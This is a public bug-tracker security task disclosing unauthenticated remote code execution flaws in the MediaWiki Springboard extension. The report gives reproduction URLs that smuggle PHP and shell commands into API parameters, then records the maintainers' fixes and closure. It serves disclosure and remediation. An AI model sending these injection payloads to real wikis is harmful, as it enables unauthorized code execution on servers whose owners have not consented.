Page MenuHomePhabricator

CVE-2025-62696: Multiple critical security issues (including unauthenticated RCE) in Springboard
Closed, ResolvedPublicSecurity

Assigned To
Authored By
SomeRandomDeveloper
Jul 24 2025, 10:00 PM
Referenced Files
F65668553: image.png
Jul 24 2025, 10:00 PM
F65668546: image.png
Jul 24 2025, 10:00 PM
F65668533: image.png
Jul 24 2025, 10:00 PM
F65668522: image.png
Jul 24 2025, 10:00 PM
F65668477: image.png
Jul 24 2025, 10:00 PM
F65668479: image.png
Jul 24 2025, 10:00 PM
F65668428: image.png
Jul 24 2025, 10:00 PM
F65668430: image.png
Jul 24 2025, 10:00 PM

Description

There are multiple critical security vulnerabilities in the Springboard extension.

Note: Some of the reproduction steps for the RCEs break the wiki after executing the payload. This can be fixed by clearing extensions/Springboard/includes/CustomLoader.php.

Missing permission checks for Springboard API

The springboard API does not require any permissions to be used, allowing anybody who can connect to the API of a wiki to install arbitrary extensions and run arbitrary code.
Permission validation is only present in the code of the special page.
This means that all of the following RCE vulnerabilities can be abused by anybody who can access the wiki.

Reproduction

  1. Go to /wiki/Special:ApiSandbox#action=springboard&format=json&sbaction=install&sbname=ApprovedRevs&sbtype=extension&sbdbupdate=1&sbcommit=15b2cc3&sbbranch=master&token=%2B%5C&formatversion=2 without being logged in
  2. Click "Make request"

The ApprovedRevs extension will be installed despite the API call being executed as an anon without any special permissions.

Cause

There is no permission validation logic in SpringboardAPI.php.

1 - PHP RCE through sbname parameter

The sbname parameter of the Springboard API is not validated, allowing for RCE, since the name is inserted into PHP.

Reproduction

  1. Go to /wiki/Special:ApiSandbox#action=springboard&format=json&sbaction=install&sbname=ParserFunctions')%3B%20echo%20%22RCE%22%3B%20%23&sbtype=extension&sbdbupdate=1&sbcommit=15b2cc3&sbbranch=master&token=%2B%5C&formatversion=2
  2. Click "Make request"
  3. Visit any page in the wiki

Malicious code supplied via the sbname parameter, which is set to ParserFunctions'); echo "RCE"; #, was inserted into the CustomLoader.php file and will be executed on every page load:

image.png (533×121 px, 15 KB)

image.png (219×87 px, 7 KB)

Cause

There is no validation for the sbname parameter.
https://github.com/wikimedia/mediawiki-extensions-Springboard/blob/be16d7e9ff44bb7f90ef767056bf1d429d9e888c/includes/SpringboardAPI.php#L38

2 - PHP RCE through sbtype parameter

The sbtype parameter of the Springboard API is not validated, allowing for RCE.

Reproduction

  1. Go to /wiki/Special:ApiSandbox#action=springboard&format=json&sbaction=install&sbname=MonoBook&sbtype=skin&sbbranch=master&token=%2B%5C&formatversion=2 and click "Make request" (this installs MonoBook)
  2. Go to /wiki/Special:ApiSandbox#action=springboard&format=json&sbaction=disable&sbname=MonoBook&sbtype=skin&sbbranch=master&token=%2B\&formatversion=2 and click "Make request" (this disables MonoBook)
  3. Go to /wiki/Special:ApiSandbox#action=springboard&format=json&sbaction=install&sbname=MonoBook&sbtype=skin.json')%3B%20echo%20%22RCE%202%22%3B%20%23&sbbundled=1&sbbranch=master&token=%2B%5C&formatversion=2 and click "Make request" (this enables MonoBook with an RCE payload)
  4. Visit any page in the wiki

Malicious code supplied via the sbtype parameter was inserted into the CustomLoader.php file and will be executed on every page load:

image.png (1,242×126 px, 21 KB)

image.png (196×81 px, 8 KB)

Explanation:

  1. We install MonoBook since the download will fail if sbtype is not skin or extension
  2. We disable MonoBook since installing it again will fail if it is already in CustomLoader.php
  3. We enable MonoBook with sbbundled=1 to skip redownloading it (since download() validates sbtype) and set sbtype to skin.json'); echo "RCE 2"; # to insert the payload into CustomLoader.php

Cause

There is no validation for the sbtype parameter when generating the PHP code line.
https://github.com/wikimedia/mediawiki-extensions-Springboard/blob/be16d7e9ff44bb7f90ef767056bf1d429d9e888c/includes/SpringboardAPI.php#L38

3 - Shell RCE through sbrepo parameter

The sbrepo parameter of the Springboard API is not validated, allowing for RCE.

Reproduction

  1. Go to /wiki/Special:ApiSandbox#action=springboard&format=json&sbaction=install&sbname=DoesntExist&sbtype=extension&sbbranch=master&sbrepo=%3B%20echo%20%22hi%22%20%3E%20%2Fvar%2Fwww%2Fhtml%2Fw%2Frce3.txt%20%3B&token=%2B%5C&formatversion=2
  2. Click "Make request"

image.png (614×43 px, 5 KB)

Arbitrary shell commands can be run. In this case the sbrepo parameter is set to ; echo "hi" > /var/www/html/w/rce3.txt ; to write hi to /var/www/html/w/rce3.txt.

Cause

There is no validation for the sbrepo parameter before running git clone. The value of the parameter is concatenated with other strings before being run via exec().

https://github.com/wikimedia/mediawiki-extensions-Springboard/blob/be16d7e9ff44bb7f90ef767056bf1d429d9e888c/includes/SpringboardAPI.php#L102-L107

4 - Shell RCE through sbbranch parameter

The sbbranch parameter of the Springboard API is not validated, allowing for RCE.

Reproduction

  1. Go to /wiki/Special:ApiSandbox#action=springboard&format=json&sbaction=install&sbname=DoesntExist&sbtype=extension&sbbranch=%3B echo "another one!" > %2Fvar%2Fwww%2Fhtml%2Fw%2Frce4.txt %3B&sbrepo=&token=%2B\&formatversion=2
  2. Click "Make request"

image.png (479×41 px, 5 KB)

Arbitrary shell commands can be run. In this case the sbbranch parameter is set to ; echo "another one!" > /var/www/html/w/rce4.txt ; to write another one! to /var/www/html/w/rce4.txt.

Cause

There is no validation for the sbbranch parameter before running git clone. The value of the parameter is concatenated with other strings before being run via exec().

https://github.com/wikimedia/mediawiki-extensions-Springboard/blob/be16d7e9ff44bb7f90ef767056bf1d429d9e888c/includes/SpringboardAPI.php#L106-L107

5 - Shell RCE through sbname parameter

The sbname parameter of the Springboard API is not validated, allowing for RCE.

Reproduction

  1. Go to /wiki/Special:ApiSandbox#action=springboard&format=json&sbaction=install&sbname=%3B echo "this is getting boring" > %2Fvar%2Fwww%2Fhtml%2Fw%2Frce5.txt %3B&sbtype=extension&sbbranch=master&sbrepo=&token=%2B\&formatversion=2
  2. Click "Make request"

image.png (477×43 px, 6 KB)

Arbitrary shell commands can be run. In this case the sbname parameter is set to ; echo "this is getting boring" > /var/www/html/w/rce5.txt ; to write this is getting boring to /var/www/html/w/rce5.txt.

Cause

There is no validation for the sbname parameter before running git clone. The value of the parameter is concatenated with other strings before being run via exec().

https://github.com/wikimedia/mediawiki-extensions-Springboard/blob/be16d7e9ff44bb7f90ef767056bf1d429d9e888c/includes/SpringboardAPI.php#L106-L107

6 - Shell RCE through sbcommit parameter

The sbcommit parameter of the Springboard API is not validated, allowing for RCE.

Reproduction

  1. Go to /wiki/Special:ApiSandbox#action=springboard&format=json&sbaction=install&sbname=DoesntExist&sbtype=extension&sbcommit=%3B echo "almost forgot about this one" > %2Fvar%2Fwww%2Fhtml%2Fw%2Frce6.txt %3B&sbbranch=master&sbrepo=&token=%2B\&formatversion=2
  2. Click "Make request"

image.png (474×45 px, 7 KB)

Arbitrary shell commands can be run. In this case the sbcommit parameter is set to ; echo "almost forgot about this one" > /var/www/html/w/rce6.txt ; to write almost forgot about this one to /var/www/html/w/rce6.txt.

Cause

There is no validation for the sbcommit parameter before running git checkout. The value of the parameter is concatenated with other strings before being run via exec().

https://github.com/wikimedia/mediawiki-extensions-Springboard/blob/be16d7e9ff44bb7f90ef767056bf1d429d9e888c/includes/SpringboardAPI.php#L109-L111

7 - RCE through cloning arbitrary commits, branches, repos and extensions/skins

There is no validation for whether any of the commits, branches, repos or extensions/skins supplied by the user to the springboard API are actually specified in the curated YAML file. That means that any user with the springboard permission (and currently without, due to the first vulnerability) can clone any repository, commit, branch and extension/skin name, which makes it possible for malicious code to be executed.

8 - Shell RCE through sbname parameter in unused delete() function

Although the delete() function appears to be unused right now, it also is vulnerable to shell RCE through the sbname parameter:

https://github.com/wikimedia/mediawiki-extensions-Springboard/blob/be16d7e9ff44bb7f90ef767056bf1d429d9e888c/includes/SpringboardAPI.php#L161-L177

Details

Risk Rating
Medium
Author Affiliation
Wikimedia Communities
Related Changes in Gerrit:

Event Timeline

Adding the extension maintainers who are specified on mediawiki.org and in the extension.json.

ext:Springboard isn't bundled or Wikimedia production deployed, so any security patches should probably just go through gerrit for review and merger.

Change #1174003 had a related patch set uploaded (by Jayanthvikashs; author: Jayanthvikashs):

[mediawiki/extensions/Springboard@master] Add API param validations

https://gerrit.wikimedia.org/r/1174003

Change #1174003 had a related patch set uploaded (by Jayanthvikashs; author: Jayanthvikashs):

[mediawiki/extensions/Springboard@master] Add API param validations

https://gerrit.wikimedia.org/r/1174003

Change #1174003 merged by jenkins-bot:

[mediawiki/extensions/Springboard@master] Limit API Params to action, type, name and add validation to it

https://gerrit.wikimedia.org/r/1174003

@SomeRandomDeveloper - thank you for your detailed layout of these security issues. These were some very serious vulnerabilities indeed. After the last few changes to the Springboard extension, I believe all of these have been addressed. The API now takes in only the extension/skin name and type (i.e., "extension" or "skin"), and gets all the other information from the YAML file. Also, the API can now only be accessed by those with a "springboard" permission. I believe the only issue left from the ones you listed is that the SpringboardAPI::delete() function is insecure - which is still true, but fortunately it remains uncalled. Eventually, we will have to either modify or delete this method.

There is a true remaining vulnerability, which is that malicious text can be put in the YAML file itself - which you did not cover in this list, but it's a possibility, however remote in practice. We will need to add code to validate the different values, to guarantee that, for example, the "commit" value consists of only hexadecimal characters.

@SomeRandomDeveloper - thank you for your detailed layout of these security issues. These were some very serious vulnerabilities indeed. After the last few changes to the Springboard extension, I believe all of these have been addressed. The API now takes in only the extension/skin name and type (i.e., "extension" or "skin"), and gets all the other information from the YAML file. Also, the API can now only be accessed by those with a "springboard" permission. I believe the only issue left from the ones you listed is that the SpringboardAPI::delete() function is insecure - which is still true, but fortunately it remains uncalled. Eventually, we will have to either modify or delete this method.

I've briefly (I did not fully review the latest commit yet) looked into the changes made, and they look good to me.

There is a true remaining vulnerability, which is that malicious text can be put in the YAML file itself - which you did not cover in this list, but it's a possibility, however remote in practice. We will need to add code to validate the different values, to guarantee that, for example, the "commit" value consists of only hexadecimal characters.

I've intentionally not listed that one, as the list controls the repos and commits of extensions, so anybody who can edit that list could as well insert a repo or commit with malicious PHP code, which can't be validated by the extension. Anybody who has access to edit the YAML should be trusted as much as somebody who has access to the server the wiki is running on.
But of course, it's still a bug and should be fixed; there's just not an increased risk through it.

Yaron_Koren claimed this task.

Closing this now; this probably could have been closed a long time ago!

sbassett triaged this task as Medium priority.Oct 6 2025, 5:01 PM
sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".
sbassett changed the edit policy from "Custom Policy" to "All Users".
sbassett changed Risk Rating from N/A to Medium.
Mstyles renamed this task from Multiple critical security issues (including unauthenticated RCE) in Springboard to CVE-2025-62696: Multiple critical security issues (including unauthenticated RCE) in Springboard.Oct 21 2025, 5:49 AM